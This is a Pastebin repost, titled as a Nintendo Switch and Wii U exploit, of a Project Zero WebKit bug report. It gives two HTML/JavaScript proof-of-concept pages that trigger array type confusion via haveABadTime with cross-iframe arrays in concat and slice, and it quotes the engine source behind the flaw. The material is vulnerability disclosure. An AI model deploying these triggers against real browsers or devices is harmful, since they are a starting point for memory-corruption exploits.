Advertisement
Guest User

Nintendo Switch Exploit Closed 3.0.1 (Open Wii U 5.5.2)

a guest
Aug 1st, 2017
413
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.80 KB | None | 0 0
  1. PoC:
  2. <html>
  3. <body>
  4. <script>
  5.  
  6. Array.prototype.__defineGetter__(100, () => 1);
  7.  
  8. let f = document.body.appendChild(document.createElement('iframe'));
  9. let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);
  10. let b = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);
  11.  
  12. let c = Array.prototype.concat.call(a, b);
  13.  
  14. alert(c);
  15.  
  16. </script>
  17. </body>
  18. </html>
  19.  
  20. After JSGlobalObject::haveABadTime is called, the type of all JavaScript arrays(including newly created arrays) are of the same type: ArrayWithSlowPutArrayStorage. But (of course) this only affects objects that share the same JSGlobalObject. So arrays come from another JSGlobalObject can cause type confusions.
  21.  
  22. void JSGlobalObject::haveABadTime(VM& vm)
  23. {
  24. ...
  25. for (unsigned i = 0; i < NumberOfIndexingShapes; ++i)
  26. m_arrayStructureForIndexingShapeDuringAllocation[i].set(vm, this, originalArrayStructureForIndexingType(ArrayWithSlowPutArrayStorage)); <<-- The type of a newly created array will be ArrayWithSlowPutArrayStorage
  27. ...
  28. while (!foundObjects.isEmpty()) {
  29. JSObject* object = asObject(foundObjects.last());
  30. foundObjects.removeLast();
  31. ASSERT(hasBrokenIndexing(object));
  32. object->switchToSlowPutArrayStorage(vm); <<------ switch type of an old array
  33. }
  34. }
  35.  
  36.  
  37. 1. fastSlice:
  38. JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
  39. {
  40. auto arrayType = indexingType();
  41. switch (arrayType) {
  42. case ArrayWithDouble:
  43. case ArrayWithInt32:
  44. case ArrayWithContiguous: {
  45. VM& vm = exec.vm();
  46. if (count >= MIN_SPARSE_ARRAY_INDEX || structure(vm)->holesMustForwardToPrototype(vm))
  47. return nullptr;
  48.  
  49. Structure* resultStructure = exec.lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(arrayType);
  50. JSArray* resultArray = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, count);
  51. if (!resultArray)
  52. return nullptr;
  53.  
  54. auto& resultButterfly = *resultArray->butterfly();
  55. if (arrayType == ArrayWithDouble)
  56. memcpy(resultButterfly.contiguousDouble().data(), m_butterfly.get()->contiguousDouble().data() + startIndex, sizeof(JSValue) * count);
  57. else
  58. memcpy(resultButterfly.contiguous().data(), m_butterfly.get()->contiguous().data() + startIndex, sizeof(JSValue) * count);
  59. resultButterfly.setPublicLength(count);
  60.  
  61. return resultArray;
  62. }
  63. default:
  64. return nullptr;
  65. }
  66. }
  67.  
  68. If |this| came from another JSGlobalObject, and |haveABadTime| was called, the type of |resultArray| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion.
  69.  
  70. <html>
  71. <body>
  72. <script>
  73.  
  74. Array.prototype.__defineGetter__(100, () => 1);
  75.  
  76. let f = document.body.appendChild(document.createElement('iframe'));
  77. let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320);
  78.  
  79. let c = Array.prototype.slice.call(a);
  80. alert(c);
  81.  
  82. </script>
  83. </body>
  84. </html>
  85.  
  86. 2. arrayProtoPrivateFuncConcatMemcpy
  87. EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncConcatMemcpy(ExecState* exec)
  88. {
  89. ...
  90. JSArray* firstArray = jsCast<JSArray*>(exec->uncheckedArgument(0));
  91. ...
  92. IndexingType type = firstArray->mergeIndexingTypeForCopying(secondType);
  93. ...
  94. Structure* resultStructure = exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(type);
  95. JSArray* result = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, firstArraySize + secondArraySize);
  96. if (!result)
  97. return JSValue::encode(throwOutOfMemoryError(exec, scope));
  98.  
  99. if (type == ArrayWithDouble) {
  100. double* buffer = result->butterfly()->contiguousDouble().data();
  101. memcpy(buffer, firstButterfly->contiguousDouble().data(), sizeof(JSValue) * firstArraySize);
  102. memcpy(buffer + firstArraySize, secondButterfly->contiguousDouble().data(), sizeof(JSValue) * secondArraySize);
  103. } else if (type != ArrayWithUndecided) {
  104. WriteBarrier<Unknown>* buffer = result->butterfly()->contiguous().data();
  105. memcpy(buffer, firstButterfly->contiguous().data(), sizeof(JSValue) * firstArraySize);
  106. if (secondType != ArrayWithUndecided)
  107. memcpy(buffer + firstArraySize, secondButterfly->contiguous().data(), sizeof(JSValue) * secondArraySize);
  108. else {
  109. for (unsigned i = secondArraySize; i--;)
  110. buffer[i + firstArraySize].clear();
  111. }
  112. }
  113.  
  114. result->butterfly()->setPublicLength(firstArraySize + secondArraySize);
  115. return JSValue::encode(result);
  116. }
  117.  
  118. If |firstArray| came from another JSGlobalObject, and |haveABadTime| was called, the type of |result| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion.
  119.  
  120. https://bugs.chromium.org/p/project-zero/issues/detail?id=1208
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement